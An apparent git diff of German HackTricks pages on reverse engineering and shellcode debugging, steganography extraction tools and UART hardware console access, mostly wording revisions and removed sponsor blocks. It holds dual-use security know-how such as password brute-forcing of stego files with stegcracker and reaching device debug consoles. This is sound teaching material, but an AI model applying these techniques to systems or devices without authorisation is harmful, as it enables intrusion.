Um **DNSpy einige Informationen in einer Datei protokollieren zu lassen**, könntest du diesen Snippet verwenden:
|
||||
```cs
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
|
@ -123,7 +115,7 @@ Klicken Sie auf ein beliebiges Modul in **Modules** und wählen Sie **Open All M
|
|||
|
||||
![](<../../.gitbook/assets/image (922).png>)
|
||||
|
||||
Klicken Sie mit der rechten Maustaste auf ein beliebiges Modul in **Assembly Explorer** und klicken Sie auf **Sort Assemblies**:
|
||||
Klicken Sie mit der rechten Maustaste auf ein beliebiges Modul im **Assembly Explorer** und klicken Sie auf **Sort Assemblies**:
|
||||
|
||||
![](<../../.gitbook/assets/image (339).png>)
|
||||
|
||||
|
@ -153,11 +145,11 @@ Aber wie gelangen Sie zum Code der geladenen DLL? Mit dieser Methode weiß ich e
|
|||
### Verwendung von x64dbg/x32dbg
|
||||
|
||||
* **Laden Sie rundll32** (64-Bit in C:\Windows\System32\rundll32.exe und 32-Bit in C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Ändern Sie die Befehlszeile** (_Datei --> Befehlszeile ändern_) und setzen Sie den Pfad der DLL und die Funktion, die Sie aufrufen möchten, zum Beispiel: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* **Ändern Sie die Befehlszeile** (_Datei --> Befehlszeile ändern_) und setzen Sie den Pfad der DLL und die Funktion, die Sie aufrufen möchten, z.B.: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Ändern Sie _Optionen --> Einstellungen_ und wählen Sie "**DLL Entry**".
|
||||
* Starten Sie dann die Ausführung, der Debugger wird an jedem DLL-Hauptpunkt anhalten, irgendwann werden Sie **im DLL-Eintrag Ihrer DLL anhalten**. Von dort aus suchen Sie einfach nach den Punkten, an denen Sie einen Haltepunkt setzen möchten.
|
||||
* Starten Sie dann die **Ausführung**, der Debugger wird an jedem DLL-Hauptpunkt anhalten, und irgendwann werden Sie **im DLL-Eintrag Ihrer DLL anhalten**. Von dort aus suchen Sie einfach nach den Punkten, an denen Sie einen Haltepunkt setzen möchten.
|
||||
|
||||
Beachten Sie, dass Sie, wenn die Ausführung aus irgendeinem Grund in win64dbg gestoppt wird, **sehen können, in welchem Code Sie sich befinden**, indem Sie oben im win64dbg-Fenster nachsehen:
|
||||
Beachten Sie, dass Sie, wenn die Ausführung aus irgendeinem Grund in win64dbg gestoppt wird, **sehen können, in welchem Code Sie sich befinden**, indem Sie **oben im win64dbg-Fenster** nachsehen:
|
||||
|
||||
![](<../../.gitbook/assets/image (842).png>)
|
||||
|
||||
|
@ -171,7 +163,7 @@ Dann können Sie sehen, wann die Ausführung in der DLL gestoppt wurde, die Sie
|
|||
[cheat-engine.md](cheat-engine.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) ist ein Front-End-/Reverse-Engineering-Tool für den GNU Project Debugger (GDB), das sich auf Spiele konzentriert. Es kann jedoch für alle reverse-engineeringbezogenen Dinge verwendet werden.
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) ist ein Front-End/Reverse-Engineering-Tool für den GNU Project Debugger (GDB), das sich auf Spiele konzentriert. Es kann jedoch für alle reverse-engineeringbezogenen Dinge verwendet werden.
|
||||
|
||||
[**Decompiler Explorer**](https://dogbolt.org/) ist ein Web-Frontend für eine Reihe von Decompilern. Dieser Webdienst ermöglicht es Ihnen, die Ausgaben verschiedener Decompiler für kleine ausführbare Dateien zu vergleichen.
|
||||
|
||||
|
@ -187,7 +179,7 @@ Dann können Sie sehen, wann die Ausführung in der DLL gestoppt wurde, die Sie
|
|||
Dann müssen Sie einen **Debugger** (Ida oder x64dbg) an den Prozess anhängen und einen **Haltepunkt an der angegebenen Speicheradresse** setzen und die Ausführung **fortsetzen**. Auf diese Weise debuggen Sie den Shellcode.
|
||||
|
||||
Die Veröffentlichungsseite auf GitHub enthält ZIP-Dateien mit den kompilierten Versionen: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Sie finden eine leicht modifizierte Version von Blobrunner unter folgendem Link. Um es zu kompilieren, erstellen Sie einfach **ein C/C++-Projekt in Visual Studio Code, kopieren Sie den Code und bauen Sie es**.
|
||||
Sie finden eine leicht modifizierte Version von Blobrunner unter folgendem Link. Um es zu kompilieren, erstellen Sie einfach ein C/C++-Projekt in Visual Studio Code, kopieren Sie den Code und bauen Sie es.
|
||||
|
||||
{% content-ref url="blobrunner.md" %}
|
||||
[blobrunner.md](blobrunner.md)
|
||||
|
@ -195,7 +187,7 @@ Sie finden eine leicht modifizierte Version von Blobrunner unter folgendem Link.
|
|||
|
||||
### Debugging eines Shellcodes mit jmp2it
|
||||
|
||||
[**jmp2it**](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) ist sehr ähnlich wie Blobrunner. Es wird den **Shellcode** in einem Speicherbereich **allokieren** und eine **ewige Schleife** starten. Sie müssen dann den **Debugger** an den Prozess anhängen, **spielen Sie, warten Sie 2-5 Sekunden und drücken Sie Stop**, und Sie werden sich in der **ewigen Schleife** wiederfinden. Springen Sie zur nächsten Anweisung der ewigen Schleife, da es ein Aufruf zum Shellcode sein wird, und schließlich werden Sie den Shellcode ausführen.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) ist sehr ähnlich wie Blobrunner. Es wird den **Shellcode** in einem Speicherbereich **allokieren** und eine **ewige Schleife** starten. Sie müssen dann den **Debugger** an den Prozess anhängen, **spielen, 2-5 Sekunden warten und auf Stop drücken**, und Sie werden sich in der **ewigen Schleife** wiederfinden. Springen Sie zur nächsten Anweisung der ewigen Schleife, da es ein Aufruf zum Shellcode sein wird, und schließlich werden Sie den Shellcode ausführen.
|
||||
|
||||
![](<../../.gitbook/assets/image (509).png>)
|
||||
|
||||
|
@ -235,7 +227,7 @@ scDbg verfügt auch über einen grafischen Launcher, in dem Sie die gewünschten
|
|||
|
||||
![](<../../.gitbook/assets/image (258).png>)
|
||||
|
||||
Die **Create Dump**-Option wird den finalen Shellcode dumpen, wenn Änderungen am Shellcode dynamisch im Speicher vorgenommen werden (nützlich, um den dekodierten Shellcode herunterzuladen). Der **Start-Offset** kann nützlich sein, um den Shellcode an einem bestimmten Offset zu starten. Die **Debug Shell**-Option ist nützlich, um den Shellcode mit dem scDbg-Terminal zu debuggen (ich finde jedoch, dass keine der zuvor erklärten Optionen besser dafür geeignet ist, da Sie Ida oder x64dbg verwenden können).
|
||||
Die **Create Dump**-Option erstellt einen Dump des finalen Shellcodes, wenn Änderungen am Shellcode dynamisch im Speicher vorgenommen werden (nützlich, um den dekodierten Shellcode herunterzuladen). Der **Startoffset** kann nützlich sein, um den Shellcode an einem bestimmten Offset zu starten. Die **Debug Shell**-Option ist nützlich, um den Shellcode mit dem scDbg-Terminal zu debuggen (ich finde jedoch jede der zuvor erklärten Optionen besser für diesen Zweck, da Sie Ida oder x64dbg verwenden können).
|
||||
|
||||
### Disassemblierung mit CyberChef
|
||||
|
||||
|
@ -274,7 +266,7 @@ Wenn du eine Delphi-Binärdatei zurückverfolgen musst, würde ich dir empfehlen
|
|||
|
||||
Drücke einfach **ATL+f7** (Python-Plugin in IDA importieren) und wähle das Python-Plugin aus.
|
||||
|
||||
Dieses Plugin führt die Binärdatei aus und löst die Funktionsnamen dynamisch zu Beginn des Debuggings auf. Nach dem Start des Debuggings drücke erneut die Starttaste (die grüne oder f9) und ein Haltepunkt wird am Anfang des echten Codes erreicht.
|
||||
Dieses Plugin wird die Binärdatei ausführen und die Funktionsnamen dynamisch zu Beginn des Debuggings auflösen. Nach dem Start des Debuggings drücke erneut die Starttaste (die grüne oder f9) und ein Haltepunkt wird am Anfang des echten Codes erreicht.
|
||||
|
||||
Es ist auch sehr interessant, weil der Debugger stoppt, wenn du einen Knopf in der grafischen Anwendung drückst, in der Funktion, die von diesem Knopf ausgeführt wird.
|
||||
|
||||
|
@ -393,7 +385,7 @@ Im vorherigen Code sehen Sie, dass wir **uVar1** (der Ort, an dem der **Wert des
|
|||
* Dann wird es mit dem **Wert 8** (**START**-Taste) verglichen: In der Herausforderung überprüft dies, ob der Code gültig ist, um die Flagge zu erhalten.
|
||||
* In diesem Fall wird die Variable **`DAT_030000d8`** mit 0xf3 verglichen, und wenn der Wert derselbe ist, wird ein bestimmter Code ausgeführt.
|
||||
* In allen anderen Fällen wird ein Zähler (`DAT_030000d4`) überprüft. Es ist ein Zähler, weil er direkt nach dem Betreten des Codes 1 hinzufügt.\
|
||||
**Wenn** weniger als 8, wird etwas gemacht, das **Werte** zu \*\*`DAT_030000d8` \*\* hinzufügt (grundsätzlich werden die Werte der gedrückten Tasten in dieser Variablen addiert, solange der Zähler weniger als 8 ist).
|
||||
**Wenn** weniger als 8, wird etwas gemacht, das **Werte zu \*\*`DAT_030000d8` \*\*** hinzufügt (grundsätzlich werden die Werte der gedrückten Tasten in dieser Variablen addiert, solange der Zähler weniger als 8 ist).
|
||||
|
||||
In dieser Herausforderung mussten Sie also, wissend um die Werte der Tasten, **eine Kombination mit einer Länge kleiner als 8 drücken, deren resultierende Addition 0xf3 ist.**
|
||||
|
||||
|
@ -408,12 +400,6 @@ In dieser Herausforderung mussten Sie also, wissend um die Werte der Tasten, **e
|
|||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binäre Deobfuskation)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Daten aus Dateien extrahieren**
|
||||
|
||||
### **Binwalk**
|
||||
|
@ -81,11 +73,11 @@ cmp original.jpg stego.jpg -b -l
|
|||
|
||||
Unsichtbare Zeichen in scheinbar leeren Bereichen können Informationen verbergen. Um diese Daten zu extrahieren, besuchen Sie [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
|
||||
## **Extrahieren von Daten aus Bildern**
|
||||
## **Daten aus Bildern extrahieren**
|
||||
|
||||
### **Identifizieren von Bilddetails mit GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) dient dazu, Bilddateitypen zu bestimmen und potenzielle Beschädigungen zu identifizieren. Führen Sie den folgenden Befehl aus, um ein Bild zu überprüfen:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) dient dazu, Bilddateitypen zu bestimmen und potenzielle Beschädigungen zu identifizieren. Führen Sie den folgenden Befehl aus, um ein Bild zu inspizieren:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
|
@ -112,7 +104,7 @@ stegcracker <file> [<wordlist>]
|
|||
```
|
||||
### **zsteg für PNG- und BMP-Dateien**
|
||||
|
||||
zsteg spezialisiert sich auf das Aufdecken versteckter Daten in PNG- und BMP-Dateien. Die Installation erfolgt über `gem install zsteg`, mit [Quellcode auf GitHub](https://github.com/zed-0xff/zsteg).
|
||||
zsteg spezialisiert sich auf das Aufdecken versteckter Daten in PNG- und BMP-Dateien. Die Installation erfolgt über `gem install zsteg`, mit [seiner Quelle auf GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**Befehle:**
|
||||
|
||||
|
@ -160,7 +152,7 @@ Für weitere Erkundungen sollten Sie folgende Seiten besuchen:
|
|||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide ist ein vielseitiges Werkzeug, das zum Verstecken von Daten in JPEG-, BMP-, WAV- und AU-Dateien entwickelt wurde. Detaillierte Anweisungen finden Sie in der [stego tricks Dokumentation](stego-tricks.md#steghide).
|
||||
Steghide ist ein vielseitiges Werkzeug, das zum Verstecken von Daten in JPEG-, BMP-, WAV- und AU-Dateien entwickelt wurde. Detaillierte Anweisungen finden Sie in der [Stego-Tricks-Dokumentation](stego-tricks.md#steghide).
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
|
@ -186,7 +178,7 @@ Deepsound ermöglicht die Verschlüsselung und Erkennung von Informationen in Au
|
|||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Ein unverzichtbares Werkzeug für die visuelle und analytische Inspektion von Audiodateien, Sonic Visualizer kann versteckte Elemente aufdecken, die mit anderen Mitteln nicht erkennbar sind. Besuchen Sie die [offizielle Website](https://www.sonicvisualiser.org/) für mehr Informationen.
|
||||
Ein unverzichtbares Werkzeug für die visuelle und analytische Inspektion von Audiodateien, Sonic Visualizer kann versteckte Elemente aufdecken, die mit anderen Mitteln nicht erkennbar sind. Besuchen Sie die [offizielle Website](https://www.sonicvisualiser.org/) für mehr.
|
||||
|
||||
### **DTMF Töne - Wähltöne**
|
||||
|
||||
|
@ -196,7 +188,7 @@ Die Erkennung von DTMF-Tönen in Audiodateien kann durch Online-Tools wie [diese
|
|||
|
||||
### **Binäre Länge SQRT - QR-Code**
|
||||
|
||||
Binäre Daten, die zu einer ganzen Zahl quadriert werden, könnten einen QR-Code darstellen. Verwenden Sie diesen Code-Schnipsel zur Überprüfung:
|
||||
Binäre Daten, die zu einer ganzen Zahl quadrieren, könnten einen QR-Code darstellen. Verwenden Sie diesen Code-Schnipsel zur Überprüfung:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
|
@ -212,19 +204,13 @@ Für die Übersetzung von Braille ist der [Branah Braille Translator](https://ww
|
|||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,34 +6,21 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
UART ist ein serielles Protokoll, was bedeutet, dass es Daten zwischen Komponenten ein Bit nach dem anderen überträgt. Im Gegensatz dazu übertragen parallele Kommunikationsprotokolle Daten gleichzeitig über mehrere Kanäle. Zu den gängigen seriellen Protokollen gehören RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express und USB.
|
||||
|
||||
Im Allgemeinen wird die Leitung hoch gehalten (bei einem logischen Wert von 1), während sich UART im Leerlaufzustand befindet. Um den Beginn einer Datenübertragung zu signalisieren, sendet der Sender ein Startbit an den Empfänger, während das Signal niedrig gehalten wird (bei einem logischen Wert von 0). Anschließend sendet der Sender fünf bis acht Datenbits, die die eigentliche Nachricht enthalten, gefolgt von einem optionalen Paritätsbit und einem oder zwei Stoppbits (mit einem logischen Wert von 1), abhängig von der Konfiguration. Das Paritätsbit, das zur Fehlerüberprüfung verwendet wird, ist in der Praxis selten zu sehen. Das Stoppbit (oder die Stoppbits) signalisiert das Ende der Übertragung.
|
||||
Im Allgemeinen wird die Leitung hoch gehalten (bei einem logischen Wert von 1), während UART im Leerlaufzustand ist. Um den Beginn einer Datenübertragung zu signalisieren, sendet der Sender ein Startbit an den Empfänger, während das Signal niedrig gehalten wird (bei einem logischen Wert von 0). Danach sendet der Sender fünf bis acht Datenbits, die die eigentliche Nachricht enthalten, gefolgt von einem optionalen Paritätsbit und einem oder zwei Stoppbits (mit einem logischen Wert von 1), abhängig von der Konfiguration. Das Paritätsbit, das zur Fehlerüberprüfung verwendet wird, ist in der Praxis selten zu sehen. Das Stoppbit (oder die Stoppbits) signalisieren das Ende der Übertragung.
|
||||
|
||||
Wir nennen die häufigste Konfiguration 8N1: acht Datenbits, keine Parität und ein Stoppbit. Wenn wir beispielsweise das Zeichen C oder 0x43 in ASCII in einer 8N1 UART-Konfiguration senden wollten, würden wir die folgenden Bits senden: 0 (das Startbit); 0, 1, 0, 0, 0, 0, 1, 1 (der Wert von 0x43 in binär) und 0 (das Stoppbit).
|
||||
|
||||
|
@ -43,29 +30,29 @@ Hardware-Tools zur Kommunikation mit UART:
|
|||
|
||||
* USB-zu-Seriell-Adapter
|
||||
* Adapter mit den CP2102- oder PL2303-Chips
|
||||
* Multifunktionswerkzeug wie: Bus Pirate, der Adafruit FT232H, der Shikra oder das Attify Badge
|
||||
* Multifunktionswerkzeuge wie: Bus Pirate, der Adafruit FT232H, der Shikra oder das Attify Badge
|
||||
|
||||
### Identifizierung von UART-Ports
|
||||
|
||||
UART hat 4 Ports: **TX**(Transmit), **RX**(Receive), **Vcc**(Spannung) und **GND**(Masse). Sie könnten in der Lage sein, 4 Ports mit den Buchstaben **`TX`** und **`RX`** auf der PCB **geschrieben** zu finden. Wenn es jedoch keine Hinweise gibt, müssen Sie möglicherweise versuchen, sie selbst mit einem **Multimeter** oder einem **Logikanalysator** zu finden.
|
||||
UART hat 4 Ports: **TX**(Transmit), **RX**(Receive), **Vcc**(Spannung) und **GND**(Masse). Sie könnten in der Lage sein, 4 Ports mit den Buchstaben **`TX`** und **`RX`** **auf** der PCB **geschrieben** zu finden. Wenn es jedoch keine Hinweise gibt, müssen Sie möglicherweise versuchen, sie selbst mit einem **Multimeter** oder einem **Logikanalysator** zu finden.
|
||||
|
||||
Mit einem **Multimeter** und dem Gerät, das ausgeschaltet ist:
|
||||
|
||||
* Um den **GND**-Pin zu identifizieren, verwenden Sie den **Durchgangstestmodus**, platzieren Sie die schwarze Sonde auf Masse und testen Sie mit der roten, bis Sie einen Ton vom Multimeter hören. Mehrere GND-Pins können auf der PCB gefunden werden, sodass Sie möglicherweise den zu UART gehörenden gefunden haben oder nicht.
|
||||
* Um den **VCC-Port** zu identifizieren, stellen Sie den **Gleichspannungsmodus** ein und setzen Sie ihn auf 20 V. Schwarze Sonde auf Masse und rote Sonde auf den Pin. Schalten Sie das Gerät ein. Wenn das Multimeter eine konstante Spannung von entweder 3,3 V oder 5 V misst, haben Sie den Vcc-Pin gefunden. Wenn Sie andere Spannungen erhalten, versuchen Sie es mit anderen Ports erneut.
|
||||
* Um den **TX**-Port zu identifizieren, stellen Sie den **Gleichspannungsmodus** auf bis zu 20 V ein, schwarze Sonde auf Masse und rote Sonde auf den Pin, und schalten Sie das Gerät ein. Wenn Sie feststellen, dass die Spannung für einige Sekunden schwankt und dann auf den Vcc-Wert stabilisiert, haben Sie höchstwahrscheinlich den TX-Port gefunden. Dies liegt daran, dass beim Einschalten einige Debug-Daten gesendet werden.
|
||||
* Der **RX-Port** wäre der nächstgelegene zu den anderen 3, er hat die niedrigste Spannungsfluktuation und den niedrigsten Gesamtwert aller UART-Pins.
|
||||
* Um den **GND**-Pin zu identifizieren, verwenden Sie den **Durchgangstestmodus**, legen Sie die schwarze Sonde auf Masse und testen Sie mit der roten, bis Sie einen Ton vom Multimeter hören. Mehrere GND-Pins können auf der PCB gefunden werden, sodass Sie möglicherweise den zu UART gehörenden gefunden haben oder nicht.
|
||||
* Um den **VCC-Port** zu identifizieren, stellen Sie den **Gleichstromspannungsmodus** ein und setzen Sie ihn auf 20 V. Schwarze Sonde auf Masse und rote Sonde auf den Pin. Schalten Sie das Gerät ein. Wenn das Multimeter eine konstante Spannung von entweder 3,3 V oder 5 V misst, haben Sie den Vcc-Pin gefunden. Wenn Sie andere Spannungen erhalten, versuchen Sie es mit anderen Ports erneut.
|
||||
* Um den **TX**-**Port** zu identifizieren, stellen Sie den **Gleichstromspannungsmodus** auf bis zu 20 V ein, schwarze Sonde auf Masse und rote Sonde auf den Pin, und schalten Sie das Gerät ein. Wenn Sie feststellen, dass die Spannung für einige Sekunden schwankt und dann auf den Vcc-Wert stabilisiert, haben Sie höchstwahrscheinlich den TX-Port gefunden. Dies liegt daran, dass beim Einschalten einige Debug-Daten gesendet werden.
|
||||
* Der **RX-Port** wäre der, der den anderen 3 am nächsten ist, er hat die niedrigste Spannungsfluktuation und den niedrigsten Gesamtwert aller UART-Pins.
|
||||
|
||||
Sie können die TX- und RX-Ports verwechseln und es würde nichts passieren, aber wenn Sie den GND- und den VCC-Port verwechseln, könnten Sie die Schaltung beschädigen.
|
||||
|
||||
In einigen Zielgeräten ist der UART-Port vom Hersteller deaktiviert, indem RX oder TX oder sogar beide deaktiviert werden. In diesem Fall kann es hilfreich sein, die Verbindungen auf der Leiterplatte nachzuvollziehen und einen Breakout-Punkt zu finden. Ein starkes Indiz dafür, dass kein UART erkannt wird und die Schaltung unterbrochen ist, ist die Überprüfung der Gerätezulassung. Wenn das Gerät mit einer Garantie geliefert wurde, lässt der Hersteller einige Debug-Schnittstellen (in diesem Fall UART) und muss daher den UART getrennt haben und würde ihn während des Debuggens wieder anschließen. Diese Breakout-Pins können durch Löten oder Jumperdrähte verbunden werden.
|
||||
In einigen Zielgeräten ist der UART-Port vom Hersteller deaktiviert, indem RX oder TX oder sogar beide deaktiviert werden. In diesem Fall kann es hilfreich sein, die Verbindungen auf der Leiterplatte nachzuvollziehen und einen Breakout-Punkt zu finden. Ein starkes Indiz dafür, dass kein UART erkannt wird und die Schaltung unterbrochen ist, ist die Überprüfung der Gerätezulassung. Wenn das Gerät mit einer Garantie geliefert wurde, lässt der Hersteller einige Debug-Schnittstellen (in diesem Fall UART) und hat daher den UART wahrscheinlich getrennt und würde ihn während des Debuggens wieder anschließen. Diese Breakout-Pins können durch Löten oder Jumperdrähte verbunden werden.
|
||||
|
||||
### Identifizierung der UART-Baudrate
|
||||
|
||||
Der einfachste Weg, die richtige Baudrate zu identifizieren, besteht darin, die **TX-Pin-Ausgabe zu betrachten und die Daten zu lesen**. Wenn die empfangenen Daten nicht lesbar sind, wechseln Sie zur nächsten möglichen Baudrate, bis die Daten lesbar werden. Sie können einen USB-zu-Seriell-Adapter oder ein Multifunktionsgerät wie Bus Pirate verwenden, um dies zu tun, zusammen mit einem Hilfsskript wie [baudrate.py](https://github.com/devttys0/baudrate/). Die häufigsten Baudraten sind 9600, 38400, 19200, 57600 und 115200.
|
||||
Der einfachste Weg, die richtige Baudrate zu identifizieren, besteht darin, den **TX-Pin-Ausgang zu betrachten und die Daten zu lesen**. Wenn die Daten, die Sie erhalten, nicht lesbar sind, wechseln Sie zur nächsten möglichen Baudrate, bis die Daten lesbar werden. Sie können einen USB-zu-Seriell-Adapter oder ein Multifunktionsgerät wie Bus Pirate verwenden, um dies zu tun, zusammen mit einem Hilfsskript wie [baudrate.py](https://github.com/devttys0/baudrate/). Die häufigsten Baudraten sind 9600, 38400, 19200, 57600 und 115200.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Es ist wichtig zu beachten, dass Sie in diesem Protokoll das TX eines Geräts mit dem RX des anderen verbinden müssen!
|
||||
Es ist wichtig zu beachten, dass Sie in diesem Protokoll den TX eines Geräts mit dem RX des anderen verbinden müssen!
|
||||
{% endhint %}
|
||||
|
||||
## CP210X UART zu TTY-Adapter
|
||||
|
@ -90,13 +77,13 @@ Konfigurieren Sie die Einstellungen wie Baudrate und Gerätename in der `Serial
|
|||
|
||||
Nach der Konfiguration verwenden Sie den Befehl `minicom`, um die UART-Konsole zu starten.
|
||||
|
||||
## UART über Arduino UNO R3 (Entfernbarer Atmel 328p-Chip)
|
||||
## UART über Arduino UNO R3 (Entfernbarer Atmel 328p Chip)
|
||||
|
||||
Falls UART-Serial-zu-USB-Adapter nicht verfügbar sind, kann Arduino UNO R3 mit einem schnellen Hack verwendet werden. Da Arduino UNO R3 normalerweise überall erhältlich ist, kann dies viel Zeit sparen.
|
||||
Falls UART Serial zu USB-Adapter nicht verfügbar sind, kann Arduino UNO R3 mit einem schnellen Hack verwendet werden. Da Arduino UNO R3 normalerweise überall erhältlich ist, kann dies viel Zeit sparen.
|
||||
|
||||
Arduino UNO R3 hat einen USB-zu-Serial-Adapter, der auf der Platine selbst integriert ist. Um eine UART-Verbindung herzustellen, ziehen Sie einfach den Atmel 328p-Mikrocontroller-Chip von der Platine ab. Dieser Hack funktioniert bei Arduino UNO R3-Varianten, bei denen der Atmel 328p nicht auf der Platine verlötet ist (SMD-Version wird verwendet). Verbinden Sie den RX-Pin des Arduino (Digital Pin 0) mit dem TX-Pin der UART-Schnittstelle und den TX-Pin des Arduino (Digital Pin 1) mit dem RX-Pin der UART-Schnittstelle.
|
||||
Arduino UNO R3 hat einen USB-zu-Serial-Adapter, der auf der Platine selbst integriert ist. Um eine UART-Verbindung herzustellen, ziehen Sie einfach den Atmel 328p Mikrocontroller-Chip von der Platine ab. Dieser Hack funktioniert bei Arduino UNO R3-Varianten, bei denen der Atmel 328p nicht auf der Platine verlötet ist (SMD-Version wird verwendet). Verbinden Sie den RX-Pin des Arduino (Digital Pin 0) mit dem TX-Pin der UART-Schnittstelle und den TX-Pin des Arduino (Digital Pin 1) mit dem RX-Pin der UART-Schnittstelle.
|
||||
|
||||
Schließlich wird empfohlen, die Arduino IDE zu verwenden, um die serielle Konsole zu erhalten. Wählen Sie im Menü im Abschnitt `tools` die Option `Serial Console` und setzen Sie die Baudrate gemäß der UART-Schnittstelle.
|
||||
Schließlich wird empfohlen, die Arduino IDE zu verwenden, um die serielle Konsole zu erhalten. Wählen Sie im Abschnitt `tools` im Menü die Option `Serial Console` und setzen Sie die Baudrate gemäß der UART-Schnittstelle.
|
||||
|
||||
## Bus Pirate
|
||||
|
||||
|
@ -174,7 +161,7 @@ waiting a few secs to repeat....
|
|||
